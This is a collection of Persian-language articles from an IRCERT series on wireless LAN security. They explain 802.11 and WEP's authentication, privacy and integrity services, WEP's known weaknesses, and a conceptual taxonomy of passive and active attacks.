یکی از ابتدایی‌ترین ضعف‌ها که عموماً در بسیاری از شبکه‌های محلی بی‌سیم وجود دارد استفاده از کلیدهای مشابه توسط کاربران برای مدت زمان نسبتاً زیاد است. این ضعف به دلیل نبود یک مکانیزم مدیریت کلید رخ می‌دهد. برای مثال اگر یک کامپیوتر کیفی یا جیبی که از یک کلید خاص استفاده می‌کند به سرقت برود یا برای مدت زمانی در دست‌رس نفوذگر باشد، کلید آن به‌راحتی لو رفته و با توجه به تشابه کلید میان بسیاری از ایستگاه‌های کاری عملاً استفاده از تمامی این ایستگاه‌ها ناامن است.

از سوی دیگر با توجه به مشابه بودن کلید، در هر لحظه کانال‌های ارتباطی زیادی توسط یک حمله نفوذپذیر هستند.

۲. Initialization Vector (IV)

این بردار که یک فیلد ۲۴ بیتی است در قسمت قبل معرفی شده است. این بردار به صورت متنی ساده فرستاده می شود. از آن‌جایی‌که کلیدی که برای رمزنگاری مورد استفاده قرار می‌گیرد بر اساس IV تولید می شود، محدوده‌ی IV عملاً نشان‌دهنده‌ی احتمال تکرار آن و در نتیجه احتمال تولید کلیدهای مشابه است. به عبارت دیگر در صورتی که IV کوتاه باشد در مدت زمان کمی می‌توان به کلیدهای مشابه دست یافت.

این ضعف در شبکه‌های شلوغ به مشکلی حاد مبدل می‌شود. خصوصاً اگر از کارت شبکه‌ی استفاده شده مطمئن نباشیم. بسیاری از کارت‌های شبکه از IVهای ثابت استفاده می‌کنند و بسیاری از کارت‌های شبکه‌ی یک تولید کننده‌ی واحد IVهای مشابه دارند. این خطر به‌همراه ترافیک بالا در یک شبکه‌ی شلوغ احتمال تکرار IV در مدت زمانی کوتاه را بالاتر می‌برد و در نتیجه کافی‌ست نفوذگر در مدت زمانی معین به ثبت داده‌های رمز شده‌ی شبکه بپردازد و IVهای بسته‌های اطلاعاتی را ذخیره کند. با ایجاد بانکی از IVهای استفاده شده در یک شبکه‌ی شلوغ احتمال بالایی برای نفوذ به آن شبکه در مدت زمانی نه چندان طولانی وجود خواهد داشت.

۳. ضعف در الگوریتم

از آن‌جایی‌که IV در تمامی بسته‌های تکرار می‌شود و بر اساس آن کلید تولید می‌شود، نفوذگر می‌تواند با تحلیل و آنالیز تعداد نسبتاً زیادی از IVها و بسته‌های رمزشده بر اساس کلید تولید شده بر مبنای آن IV، به کلید اصلی دست پیدا کند. این فرایند عملی زمان بر است ولی از آن‌جاکه احتمال موفقیت در آن وجود دارد لذا به عنوان ضعفی برای این پروتکل محسوب می‌گردد.

۴. استفاده از CRC رمز نشده

در پروتکل WEP، کد CRC رمز نمی‌شود. لذا بسته‌های تأییدی که از سوی نقاط دست‌رسی بی‌سیم به‌سوی گیرنده ارسال می‌شود بر اساس یک CRC رمزنشده ارسال می‌گردد و تنها در صورتی که نقطه‌ی دست‌رسی از صحت بسته اطمینان حاصل کند تأیید آن را می‌فرستد. این ضعف این امکان را فراهم می‌کند که نفوذگر برای رمزگشایی یک بسته، محتوای آن را تغییر دهد و CRC را نیز به دلیل این که رمز نشده است، به‌راحتی عوض کند و منتظر عکس‌العمل نقطه‌ی دست‌رسی بماند که آیا بسته‌ی تأیید را صادر می کند یا خیر.

ضعف‌های بیان شده از مهم‌ترین ضعف‌های شبکه‌های بی‌سیم مبتنی بر پروتکل WEP هستند. نکته‌یی که در مورد ضعف‌های فوق باید به آن اشاره کرد این است که در میان این ضعف‌ها تنها یکی از آن‌ها (مشکل امنیتی سوم) به ضعف در الگوریتم رمزنگاری باز می‌گردد و لذا با تغییر الگوریتم رمزنگاری تنها این ضعف است که برطرف می‌گردد و بقیه‌ی مشکلات امنیتی کماکان به قوت خود باقی هستند.

جدول زیر ضعف‌های امنیتی پروتکل WEP را به‌اختصار جمع‌بندی کرده است :

در قسمت‌های آتی به بررسی خطرهای ناشی از این ضعف‌ها و نیازهای امنیتی در شبکه‌های بی‌سیم می‌پردازیم.


﻿ IRCERT - امنیت در شبکه های بی سیم(بخش چهارم) - مقالات

امنیت در شبکه‌های بی‌سیم

بخش چهارم : امنیت در شبکه‌های محلی بر اساس استاندارد 802.11

پس از آن‌که در سه قسمت قبل به مقدمه‌یی در مورد شبکه‌های بی‌سیم محلی و عناصر آن‌ها پرداختیم، از این قسمت بررسی روش‌ها و استانداردهای امن‌سازی شبکه‌های محلی بی‌سیم مبتنی بر استاندارد IEEE 802.11 را آغاز می‌کنیم. با طرح قابلیت‌های امنیتی این استاندارد، می‌توان از محدودیت‌های آن آگاه شد و این استاندارد و کاربرد را برای موارد خاص و مناسب مورد استفاده قرار داد.

استاندارد 802.11 سرویس‌های مجزا و مشخصی را برای تأمین یک محیط امن بی‌سیم در اختیار قرار می‌دهد. این سرویس‌ها اغلب توسط پروتکل WEP (Wired Equivalent Privacy) تأمین می‌گردند و وظیفه‌ی آن‌ها امن‌سازی ارتباط میان مخدوم‌ها و نقاط دسترسی بی‌سیم است. درک لایه‌یی که این پروتکل به امن‌سازی آن می‌پردازد اهمیت ویژه‌یی دارد، به عبارت دیگر این پروتکل کل ارتباط را امن نکرده و به لایه‌های دیگر، غیر از لایه‌ی ارتباطی بی‌سیم که مبتنی بر استاندارد 802.11 است، کاری ندارد. این بدان معنی است که استفاده از WEP در یک شبکه‌ی بی‌سیم به‌معنی استفاده از قابلیت درونی استاندارد شبکه‌های محلی بی‌سیم است و ضامن امنیت کل ارتباط نیست زیرا امکان قصور از دیگر اصول امنیتی در سطوح بالاتر ارتباطی وجود دارد.

شکل بالا محدوده‌ی عمل کرد استانداردهای امنیتی 802.11 (خصوصاً WEP) را نشان می‌دهد.

قابلیت‌ها و ابعاد امنیتی استاندارد 802.11

در حال حاضر عملاً تنها پروتکلی که امنیت اطلاعات و ارتباطات را در شبکه‌های بی‌سیم بر اساس استاندارد 802.11 فراهم می‌کند WEP است. این پروتکل با وجود قابلیت‌هایی که دارد، نوع استفاده از آن همواره امکان نفوذ به شبکه‌های بی‌سیم را به نحوی، ولو سخت و پیچیده، فراهم می‌کند. نکته‌یی که باید به‌خاطر داشت این‌ست که اغلب حملات موفق صورت گرفته در مورد شبکه‌های محلی بی‌سیم، ریشه در پیکربندی ناصحیح WEP در شبکه دارد. به عبارت دیگر این پروتکل در صورت پیکربندی صحیح درصد بالایی از حملات را ناکام می‌گذارد، هرچند که فی‌نفسه دچار نواقص و ایرادهایی نیز هست.

بسیاری از حملاتی که بر روی شبکه‌های بی‌سیم انجام می‌گیرد از سویی است که نقاط دسترسی با شبکه‌ی سیمی دارای اشتراک هستند. به عبارت دیگر نفوذگران بعضاً با استفاده از راه‌های ارتباطی دیگری که بر روی مخدوم‌ها و سخت‌افزارهای بی‌سیم، خصوصاً مخدوم‌های بی‌سیم، وجود دارد، به شبکه‌ی بی‌سیم نفوذ می‌کنند که این مقوله نشان دهنده‌ی اشتراکی هرچند جزءیی میان امنیت در شبکه‌های سیمی و بی‌سیم‌یی‌ست که از نظر ساختاری و فیزیکی با یکدیگر اشتراک دارند.

سه قابلیت و سرویس پایه توسط IEEE برای شبکه‌های محلی بی‌سیم تعریف می‌گردد :

· Authentication

هدف اصلی WEP ایجاد امکانی برای احراز هویت مخدوم بی‌سیم است. این عمل که در واقع کنترل دست‌رسی به شبکه‌ی بی‌سیم است. این مکانیزم سعی دارد که امکان اتصال مخدوم‌هایی را که مجاز نیستند به شبکه متصل شوند از بین ببرد.

· Confidentiality

محرمانه‌گی هدف دیگر WEP است. این بُعد از سرویس‌ها و خدمات WEP با هدف ایجاد امنیتی در حدود سطوح شبکه‌های سیمی طراحی شده است. سیاست این بخش از WEP جلوگیری از سرقت اطلاعات در حال انتقال بر روی شبکه‌ی محلی بی‌سیم است.

· Integrity

هدف سوم از سرویس‌ها و قابلیت‌های WEP طراحی سیاستی است که تضمین کند پیام‌ها و اطلاعات در حال تبادل در شبکه، خصوصاً میان مخدوم‌های بی‌سیم و نقاط دسترسی، در حین انتقال دچار تغییر نمی‌گردند. این قابلیت در تمامی استانداردها، بسترها و شبکه‌های ارتباطاتی دیگر نیز کم‌وبیش وجود دارد.

نکته‌ی مهمی که در مورد سه سرویس WEP وجود دارد نبود سرویس‌های معمول Auditing و Authorization در میان سرویس‌های ارایه شده توسط این پروتکل است.

در قسمت‌های بعدی از بررسی امنیت در شبکه‌های محلی بی‌سیم به بررسی هریک از این سه سرویس می‌پردازیم.


﻿ IRCERT - امنیت در شبکه های بی سیم - مقالات

امنیت در شبکه‌های بی‌سیم

بخش اول : مقدمه

از آن‌جا که شبکه‌های بی سیم، در دنیای کنونی هرچه بیشتر در حال گسترش هستند، و با توجه به ماهیت این دسته از شبکه‌ها، که بر اساس سیگنال‌های رادیویی‌اند، مهم‌ترین نکته در راه استفاده از این تکنولوژی، آگاهی از نقاط قوت و ضعف آن‌ست. نظر به لزوم آگاهی از خطرات استفاده از این شبکه‌ها، با وجود امکانات نهفته در آن‌ها که به‌مدد پیکربندی صحیح می‌توان به‌سطح قابل قبولی از بعد امنیتی دست یافت، بنا داریم در این سری از مقالات با عنوان «امنیت در شبکه های بی سیم» ضمن معرفی این شبکه‌ها با تأکید بر ابعاد امنیتی آن‌ها، به روش‌های پیکربندی صحیح که احتمال رخ‌داد حملات را کاهش می‌دهند بپردازیم.

شبکه‌های بی‌سیم، کاربردها، مزایا و ابعاد

تکنولوژی شبکه‌های بی‌سیم، با استفاده از انتقال داده‌ها توسط اموج رادیویی، در ساده‌ترین صورت، به تجهیزات سخت‌افزاری امکان می‌دهد تا بدون‌استفاده از بسترهای فیزیکی همچون سیم و کابل، با یکدیگر ارتباط برقرار کنند. شبکه‌های بی‌سیم بازه‌ی وسیعی از کاربردها، از ساختارهای پیچیده‌یی چون شبکه‌های بی‌سیم سلولی -که اغلب برای تلفن‌های همراه استفاده می‌شود- و شبکه‌های محلی بی‌سیم (WLAN – Wireless LAN) گرفته تا انوع ساده‌یی چون هدفون‌های بی‌سیم، را شامل می‌شوند. از سوی دیگر با احتساب امواجی همچون مادون قرمز، تمامی تجهیزاتی که از امواج مادون قرمز نیز استفاده می‌کنند، مانند صفحه کلید‌ها، ماوس‌ها و برخی از گوشی‌های همراه، در این دسته‌بندی جای می‌گیرند. طبیعی‌ترین مزیت استفاده از این شبکه‌ها عدم نیاز به ساختار فیزیکی و امکان نقل و انتقال تجهیزات متصل به این‌گونه شبکه‌ها و هم‌چنین امکان ایجاد تغییر در ساختار مجازی آن‌هاست. از نظر ابعاد ساختاری، شبکه‌های بی‌سیم به سه دسته تقسیم می‌گردند : WWAN، WLAN و WPAN.

مقصود از WWAN، که مخفف Wireless WAN است، شبکه‌هایی با پوشش بی‌سیم بالاست. نمونه‌یی از این شبکه‌ها، ساختار بی‌سیم سلولی مورد استفاده در شبکه‌های تلفن همراه است. WLAN پوششی محدودتر، در حد یک ساختمان یا سازمان، و در ابعاد کوچک یک سالن یا تعدادی اتاق، را فراهم می‌کند. کاربرد شبکه‌های WPAN یا Wireless Personal Area Network برای موارد خانه‌گی است. ارتباطاتی چون Bluetooth و مادون قرمز در این دسته قرار می‌گیرند.

شبکه‌های WPAN از سوی دیگر در دسته‌ی شبکه‌های Ad Hoc نیز قرار می‌گیرند. در شبکه‌های Ad hoc، یک سخت‌افزار، به‌محض ورود به فضای تحت پوشش آن، به‌صورت پویا به شبکه اضافه می‌شود. مثالی از این نوع شبکه‌ها، Bluetooth است. در این نوع، تجهیزات مختلفی از جمله صفحه کلید، ماوس، چاپگر، کامپیوتر کیفی یا جیبی و حتی گوشی تلفن همراه، در صورت قرارگرفتن در محیط تحت پوشش، وارد شبکه شده و امکان رد و بدل داده‌ها با دیگر تجهیزات متصل به شبکه را می‌یابند. تفاوت میان شبکه‌های Ad hoc با شبکه‌های محلی بی‌سیم (WLAN) در ساختار مجازی آن‌هاست. به‌عبارت دیگر، ساختار مجازی شبکه‌های محلی بی‌سیم بر پایه‌ی طرحی ایستاست درحالی‌که شبکه‌های Ad hoc از هر نظر پویا هستند. طبیعی‌ست که در کنار مزایایی که این پویایی برای استفاده کننده‌گان فراهم می‌کند، حفظ امنیت چنین شبکه‌هایی نیز با مشکلات بسیاری همراه است. با این وجود، عملاً یکی از راه حل‌های موجود برای افزایش امنیت در این شبکه‌ها، خصوصاً در انواعی همچون Bluetooth، کاستن از شعاع پوشش سیگنال‌های شبکه است. در واقع مستقل از این حقیقت که عمل‌کرد Bluetooth بر اساس فرستنده و گیرنده‌های کم‌توان استوار است و این مزیت در کامپیوترهای جیبی برتری قابل‌توجه‌یی محسوب می‌گردد، همین کمی توان سخت‌افزار مربوطه، موجب وجود منطقه‌ی محدود تحت پوشش است که در بررسی امنیتی نیز مزیت محسوب می‌گردد. به‌عبارت دیگر این مزیت به‌همراه استفاده از کدهای رمز نه‌چندان پیچیده، تنها حربه‌های امنیتی این دسته از شبکه‌ها به‌حساب می‌آیند.

منشأ ضعف امنیتی در شبکه‌های بی‌سیم و خطرات معمول

خطر معمول در کلیه‌ی شبکه‌های بی‌سیم مستقل از پروتکل و تکنولوژی مورد نظر، بر مزیت اصلی این تکنولوژی که همان پویایی ساختار، مبتنی بر استفاده از سیگنال‌های رادیویی به‌جای سیم و کابل، استوار است. با استفاده از این سیگنال‌ها و در واقع بدون مرز ساختن پوشش ساختار شبکه، نفوذگران قادرند در صورت شکستن موانع امنیتی نه‌چندان قدرت‌مند این شبکه‌ها، خود را به‌عنوان عضوی از این شبکه‌ها جازده و در صورت تحقق این امر، امکان دست‌یابی به اطلاعات حیاتی، حمله به سرویس دهنده‌گان سازمان و مجموعه، تخریب اطلاعات، ایجاد اختلال در ارتباطات گره‌های شبکه با یکدیگر، تولید داده‌های غیرواقعی و گمراه‌کننده، سوءاستفاده از پهنای‌باند مؤثر شبکه و دیگر فعالیت‌های مخرب وجود دارد.

در مجموع، در تمامی دسته‌های شبکه‌های بی‌سیم، از دید امنیتی حقایقی مشترک صادق است :

  • تمامی ضعف‌های امنیتی موجود در شبکه‌های سیمی، در مورد شبکه‌های بی‌سیم نیز صدق می‌کند. در واقع نه تنها هیچ جنبه‌یی چه از لحاظ طراحی و چه از لحاظ ساختاری، خاص شبکه‌های بی‌سیم وجود ندارد که سطح بالاتری از امنیت منطقی را ایجاد کند، بلکه همان گونه که ذکر شد مخاطرات ویژه‌یی را نیز موجب است.

  • نفوذگران، با گذر از تدابیر امنیتی موجود، می‌توانند به‌راحتی به منابع اطلاعاتی موجود بر روی سیستم‌های رایانه‌یی دست یابند.

  • اطلاعات حیاتی‌یی که یا رمز نشده‌اند و یا با روشی با امنیت پایین رمز شده‌اند، و میان دو گره در شبکه‌های بی‌سیم در حال انتقال می‌باشند، می‌توانند توسط نفوذگران سرقت شده یا تغییر یابند.

  • حمله‌های DoS به تجهیزات و سیستم‌های بی‌سیم بسیار متداول است.

  • نفوذگران با سرقت کدهای عبور و دیگر عناصر امنیتی مشابه کاربران مجاز در شبکه‌های بی‌سیم، می‌توانند به شبکه‌ی مورد نظر بدون هیچ مانعی متصل گردند.

  • با سرقت عناصر امنیتی، یک نفوذگر می‌تواند رفتار یک کاربر را پایش کند. از این طریق می‌توان به اطلاعات حساس دیگری نیز دست یافت.

  • کامپیوترهای قابل حمل و جیبی، که امکان و اجازه‌ی استفاده از شبکه‌ی بی‌سیم را دارند، به‌راحتی قابل سرقت هستند. با سرقت چنین سخت افزارهایی، می‌توان اولین قدم برای نفوذ به شبکه را برداشت.

  • یک نفوذگر می‌تواند از نقاط مشترک میان یک شبکه‌ی بی‌سیم در یک سازمان و شبکه‌ی سیمی آن (که در اغلب موارد شبکه‌ی اصلی و حساس‌تری محسوب می‌گردد) استفاده کرده و با نفوذ به شبکه‌ی بی‌سیم عملاً راهی برای دست‌یابی به منابع شبکه‌ی سیمی نیز بیابد.

  • در سطحی دیگر، با نفوذ به عناصر کنترل کننده‌ی یک شبکه‌ی بی‌سیم، امکان ایجاد اختلال در عمل‌کرد شبکه نیز وجود دارد.

با مقدمه‌ی ذکر شده، در قسمت‌های آتی می‌توانیم به ویژه‌گی‌های این شبکه‌های، با تفکیک تکنولوژی‌های مرسوم، از بعد امنیتی بپردازیم و چگونه‌گی پیکربندی صحیح یک شبکه‌ی بی‌سیم را، برای بالابردن امنیت آن، بررسی کنیم.


﻿ IRCERT - امنیت در شبکه های بی سیم(بخش پنجم) - مقالات

امنیت در شبکه‌های بی‌سیم

بخش پنجم : سرویس‌های امنیتی WEP - Authentication

در قسمت قبل به معرفی پروتکل WEP که عملاً تنها روش امن‌سازی ارتباطات در شبکه‌های بی‌سیم بر مبنای استاندارد 802.11 است پرداختیم و در ادامه سه سرویس اصلی این پروتکل را معرفی کردیم.

در این قسمت به معرفی سرویس اول، یعنی Authentication، می‌پردازیم.

Authentication

استاندارد 802.11 دو روش برای احراز هویت کاربرانی که درخواست اتصال به شبکه‌ی بی‌سیم را به نقاط دسترسی ارسال می‌کنند، دارد که یک روش بر مبنای رمزنگاری‌ست و دیگری از رمزنگاری استفاده نمی‌کند.

شکل زیر شَمایی از فرایند Authentication را در این شبکه‌ها نشان می‌دهد :

همان‌گونه که در شکل نیز نشان داده شده است، یک روش از رمزنگاری RC4 استفاده می‌کند و روش دیگر از هیچ تکنیک رمزنگاری‌یی استفاده نمی‌کند.

Authentication بدون رمزنگاری

در روشی که مبتنی بر رمزنگاری نیست، دو روش برای تشخیص هویت مخدوم وجود دارد. در هر دو روش مخدومِ متقاضی پیوستن به شبکه، درخواست ارسال هویت از سوی نقطه‌ی دسترسی را با پیامی حاوی یک SSID (Service Set Identifier) پاسخ می‌دهد.

در روش اول که به Open System Authentication موسوم است، یک SSID خالی نیز برای دریافت اجازه‌ی اتصال به شبکه کفایت می‌کند. در واقع در این روش تمامی مخدوم‌هایی که تقاضای پیوستن به شبکه را به نقاط دسترسی ارسال می‌کنند با پاسخ مثبت روبه‌رو می‌شوند و تنها آدرس آن‌ها توسط نقطه‌ی دسترسی نگاه‌داری می‌شود. به‌همین دلیل به این روش NULL Authentication نیز اطلاق می‌شود.

در روش دوم از این نوع، بازهم یک SSID به نقطه‌ی دسترسی ارسال می‌گردد با این تفاوت که اجازه‌ی اتصال به شبکه تنها در صورتی از سوی نقطه‌ی دسترسی صادر می‌گردد که SSIDی ارسال شده جزو SSIDهای مجاز برای دسترسی به شبکه باشند. این روش به Closed System Authentication موسوم است.

نکته‌یی که در این میان اهمیت بسیاری دارد، توجه به سطح امنیتی‌ست که این روش در اختیار ما می‌گذارد. این دو روش عملاً روش امنی از احراز هویت را ارایه نمی‌دهند و عملاً تنها راهی برای آگاهی نسبی و نه قطعی از هویت درخواست‌کننده هستند. با این وصف از آن‌جایی‌که امنیت در این حالات تضمین شده نیست و معمولاً حملات موفق بسیاری، حتی توسط نفوذگران کم‌تجربه و مبتدی، به شبکه‌هایی که بر اساس این روش‌ها عمل می‌کنند، رخ می‌دهد، لذا این دو روش تنها در حالتی کاربرد دارند که یا شبکه‌یی در حال ایجاد است که حاوی اطلاعات حیاتی نیست، یا احتمال رخداد حمله به آن بسیار کم است. هرچند که با توجه پوشش نسبتاً گسترده‌ی یک شبکه‌ی بی‌سیم – که مانند شبکه‌های سیمی امکان محدودسازی دسترسی به صورت فیزیکی بسیار دشوار است – اطمینان از شانس پایین رخ‌دادن حملات نیز خود تضمینی ندارد!

Authentication با رمزنگاری RC4

این روش که به روش «کلید مشترک» نیز موسوم است، تکنیکی کلاسیک است که بر اساس آن، پس از اطمینان از اینکه مخدوم از کلیدی سری آگاه است، هویتش تأیید می‌شود. شکل زیر این روش را نشان می‌دهد :

در این روش، نقطه‌ی دسترسی (AP) یک رشته‌ی تصادفی تولید کرده و آن‌را به مخدوم می‌فرستد. مخدوم این رشته‌ی تصادفی را با کلیدی از پیش تعیین شده (که کلید WEP نیز نامیده می‌شود) رمز می‌کند و حاصل را برای نقطه‌ی دسترسی ارسال می‌کند. نقطه‌ی دسترسی به روش معکوس پیام دریافتی را رمزگشایی کرده و با رشته‌ی ارسال شده مقایسه می‌کند. در صورت هم‌سانی این دو پیام، نقطه‌ی دسترسی از اینکه مخدوم کلید صحیحی را در اختیار دارد اطمینان حاصل می‌کند. روش رمزنگاری و رمزگشایی در این تبادل روش RC4 است.

در این میان با فرض اینکه رمزنگاری RC4 را روشی کاملاً مطمئن بدانیم، دو خطر در کمین این روش است :

الف) در این روش تنها نقطه‌ی دسترسی‌ست که از هویت مخدوم اطمینان حاصل می‌کند. به بیان دیگر مخدوم هیچ دلیلی در اختیار ندارد که بداند نقطه‌ی دسترسی‌یی که با آن در حال تبادل داده‌های رمزی‌ست نقطه‌ی دسترسی اصلی‌ست.

ب) تمامی روش‌هایی که مانند این روش بر پایه‌ی سئوال و جواب بین دو طرف، با هدف احراز هویت یا تبادل اطلاعات حیاتی، قرار دارند با حملاتی تحت عنوان man-in-the-middle در خطر هستند. در این دسته از حملات نفوذگر میان دو طرف قرار می‌گیرد و به‌گونه‌یی هریک از دو طرف را گمراه می‌کند.

در قسمت بعد به سرویس‌های دیگر پروتکل WEP می‌پردازیم.


﻿ IRCERT - امنیت در شبکه های بی سیم: خطرها، حملات و ملزومات امنیتی (بخش اول) - مقالات

امنیت در شبکه های بی سیم

قسمت هشتم : خطرها، حملات و ملزومات امنیتی (بخش اول)

همان گونه که گفته شد، با توجه به پیشرفت های اخیر، در آینده یی نه چندان دور باید منتظر گسترده گی هرچه بیش تر استفاده از شبکه های بی سیم باشیم. این گسترده گی، با توجه به مشکلاتی که از نظر امنیتی در این قبیل شبکه ها وجود دارد نگرانی هایی را نیز به همراه دارد. این نگرانی ها که نشان دهنده ی ریسک بالای استفاده از این بستر برای سازمان ها و شرکت های بزرگ است، توسعه ی این استاندارد را در ابهام فرو برده است. در این قسمت به دسته بندی و تعریف حملات، خطرها و ریسک های موجود در استفاده از شبکه های محلی بی سیم بر اساس استاندارد IEEE 802.11x می پردازیم.

شکل زیر نمایی از دسته بندی حملات مورد نظر را نشان می دهد :

مطابق درخت فوق، حملات امنیتی به دو دسته ی فعال و غیرفعال تقسیم می گردند.

حملات غیرفعال

در این قبیل حملات، نفوذگر تنها به منبعی از اطلاعات به نحوی دست می یابد ولی اقدام به تغییر محتوال اطلاعات منبع نمی کند. این نوع حمله می تواند تنها به یکی از اشکال شنود ساده یا آنالیز ترافیک باشد.

- شنود

در این نوع، نفوذگر تنها به پایش اطلاعات ردوبدل شده می پردازد. برای مثال شنود ترافیک روی یک شبکه ی محلی یا یک شبکه ی بی سیم (که مد نظر ما است) نمونه هایی از این نوع حمله به شمار می آیند.

- آ آنالیز ترافیک

در این نوع حمله، نفوذگر با کپی برداشتن از اطلاعات پایش شده، به تحلیل جمعی داده ها می پردازد. به عبارت دیگر بسته یا بسته های اطلاعاتی به همراه یکدیگر اطلاعات معناداری را ایجاد می کنند.

حملات فعال

در این نوع حملات، برخلاف حملات غیرفعال، نفوذگر اطلاعات مورد نظر را، که از منابع به دست می آید، تغییر می دهد، که تبعاً انجام این تغییرات مجاز نیست. از آن جایی که در این نوع حملات اطلاعات تغییر می کنند، شناسایی رخ داد حملات فرایندی امکان پذیر است. در این حملات به چهار دسته ی مرسوم زیر تقسیم بندی می گردند :

- تغییر هویت

در این نوع حمله، نفوذگر هویت اصلی را جعل می کند. این روش شامل تغییر هویت اصلی یکی از طرف های ارتباط یا قلب هویت و یا تغییر جریان واقعی فرایند پردازش اطلاعات نیز می گردد.

- پاسخ های جعلی

نفوذگر در این قسم از حملات، بسته هایی که طرف گیرنده ی اطلاعات در یک ارتباط دریافت می کند را پایش می کند. البته برای اطلاع از کل ماهیت ارتباط یک اتصال از ابتدا پایش می گردد ولی اطلاعات مفید تنها اطلاعاتی هستند که از سوی گیرنده برای فرستنده ارسال می گردند. این نوع حمله بیش تر در مواردی کاربرد دارد که فرستنده اقدام به تعیین هویت گیرنده می کند. در این حالت بسته های پاسخی که برای فرستنده به عنوان جواب به سؤالات فرستنده ارسال می گردند به معنای پرچمی برای شناسایی گیرنده محسوب می گردند. لذا در صورتی که نفوذگر این بسته ها را ذخیره کند و در زمانی که یا گیرنده فعال نیست، یا فعالیت یا ارتباط آن به صورت آگاهانه –به روشی- توسط نفوذگر قطع شده است، می تواند مورد سوء استفاده قرار گیرد. نفوذگر با ارسال مجدد این بسته ها خود را به جای گیرنده جازده و از سطح دسترسی مورد نظر برخوردار می گردد.

- تغییر پیام

در برخی از موارد مرسوم ترین و متنوع ترین نوع حملات فعال تغییر پیام است. از آن جایی که گونه های متنوعی از ترافیک بر روی شبکه رفت وآمد می کنند و هریک از این ترافیک ها و پروتکل ها از شیوه یی برای مدیریت جنبه های امنیتی خود استفاده می کنند، لذا نفوذگر با اطلاع از پروتکل های مختلف می تواند برای هر یک از این انواع ترافیک نوع خاصی از تغییر پیام ها و در نتیجه حملات را اتخاذ کند. با توجه به گسترده گی این نوع حمله، که کاملاً به نوع پروتکل بسته گی دارد، در این جا نمی توانیم به انواع مختلف آن بپردازیم، تنها به یادآوری این نکته بسنده می کنیم که این حملات تنها دست یابی به اطلاعات را هدف نگرفته است و می تواند با اعمال تغییرات خاصی، به گمراهی دو طرف منجر شده و مشکلاتی را برای سطح مورد نظر دست رسی – که می تواند یک کاربر عادی باشد – فراهم کند.

- حمله های DoS) Denial-of-Service)

این نوع حمله، در حالات معمول، مرسوم ترین حملات را شامل می شود. در این نوع حمله نفوذگر یا حمله کننده برای تغییر نحوه ی کارکرد یا مدیریت یک سامانه ی ارتباطی یا اطلاعاتی اقدام می کند. ساده ترین نمونه سعی در از کارانداختن خادم های نرم افزاری و سخت افزاری ست. پیرو چنین حملاتی، نفوذگر پس از از کارانداختن یک سامانه، که معمولاً سامانه یی ست که مشکلاتی برای نفوذگر برای دست رسی به اطلاعات فراهم کرده است، اقدام به سرقت، تغییر یا نفوذ به منبع اطلاعاتی می کند. در برخی از حالات، در پی حمله ی انجام شده، سرویس مورد نظر به طور کامل قطع نمی گردد و تنها کارایی آن مختل می گردد. در این حالت نفوذگر می تواند با سوءاستفاده از اختلال ایجاد شده به نفوذ از طریق/به همان سرویس نیز اقدام کند.

تمامی ریسک هایی که در شبکه های محلی، خصوصاً انواع بی سیم، وجود دارد ناشی از یکی از خطرات فوق است. در قسمت بعدی به دسته بندی و شرح این ریسک ها و پیامدهای آن ها می پردازیم.


﻿ IRCERT - امنیت در شبکه های بی سیم(بخش ششم) - مقالات

امنیت در شبکه‌های بی‌سیم

بخش ششم : سرویس‌های امنیتی 802.11b – Privacy و Integrity

در قسمت قبل به سرویس اول از سرویس‌های امنیتی 802.11b پرداختیم. این قسمت به بررسی دو سرویس دیگر اختصاص دارد. سرویس اول Privacy (محرمانه‌گی) و سرویس دوم Integrity است.

Privacy

این سرویس که در حوزه‌های دیگر امنیتی اغلب به عنوان Confidentiality از آن یاد می‌گردد به‌معنای حفظ امنیت و محرمانه نگاه‌داشتن اطلاعات کاربر یا گره‌های در حال تبادل اطلاعات با یکدیگر است. برای رعایت محرمانه‌گی عموماً از تکنیک‌های رمزنگاری استفاده می‌گردد، به‌گونه‌یی‌که در صورت شنود اطلاعات در حال تبادل، این اطلاعات بدون داشتن کلیدهای رمز، قابل رمزگشایی نبوده و لذا برای شنودگر غیرقابل سوء استفاده است.

در استاندارد 802.11b، از تکنیک‌های رمزنگاری WEP استفاده می‌گردد که برپایه‌ی RC4 است. RC4 یک الگوریتم رمزنگاری متقارن است که در آن یک رشته‌ی نیمه تصادفی تولید می‌گردد و توسط آن کل داده رمز می‌شود. این رمزنگاری بر روی تمام بسته‌ی اطلاعاتی پیاده می‌شود. به‌بیان دیگر داده‌های تمامی لایه‌های بالای اتصال بی‌سیم نیز توسط این روش رمز می‌گردند، از IP گرفته تا لایه‌های بالاتری مانند HTTP. از آنجایی که این روش عملاً اصلی‌ترین بخش از اعمال سیاست‌های امنیتی در شبکه‌های محلی بی‌سیم مبتنی بر استاندارد 802.11b است، معمولاً به کل پروسه‌ی امن‌سازی اطلاعات در این استاندارد به‌اختصار WEP گفته می‌شود.

کلیدهای WEP اندازه‌هایی از ۴۰ بیت تا ۱۰۴ بیت می‌توانند داشته باشند. این کلیدها با IV (مخفف Initialization Vector یا بردار اولیه ) ۲۴ بیتی ترکیب شده و یک کلید ۱۲۸ بیتی RC4 را تشکیل می‌دهند. طبیعتاً هرچه اندازه‌ی کلید بزرگ‌تر باشد امنیت اطلاعات بالاتر است. تحقیقات نشان می‌دهد که استفاده از کلیدهایی با اندازه‌ی ۸۰ بیت یا بالاتر عملاً استفاده از تکنیک brute-force را برای شکستن رمز غیرممکن می‌کند. به عبارت دیگر تعداد کلیدهای ممکن برای اندازه‌ی ۸۰ بیت (که تعدد آن‌ها از مرتبه‌ی ۲۴ است) به اندازه‌یی بالاست که قدرت پردازش سیستم‌های رایانه‌یی کنونی برای شکستن کلیدی مفروض در زمانی معقول کفایت نمی‌کند.

هرچند که در حال حاضر اکثر شبکه‌های محلی بی‌سیم از کلیدهای ۴۰ بیتی برای رمزکردن بسته‌های اطلاعاتی استفاده می‌کنند ولی نکته‌یی که اخیراً، بر اساس یک سری آزمایشات به دست آمده است، این‌ست که روش تأمین محرمانه‌گی توسط WEP در مقابل حملات دیگری، غیر از استفاده از روش brute-force، نیز آسیب‌پذیر است و این آسیب‌پذیری ارتباطی به اندازه‌ی کلید استفاده شده ندارد.

نمایی از روش استفاده شده توسط WEP برای تضمین محرمانه‌گی در شکل زیر نمایش داده شده است :

Integrity

مقصود از Integrity صحت اطلاعات در حین تبادل است و سیاست‌های امنیتی‌یی که Integrity را تضمین می‌کنند روش‌هایی هستند که امکان تغییر اطلاعات در حین تبادل را به کم‌ترین میزان تقلیل می‌دهند.

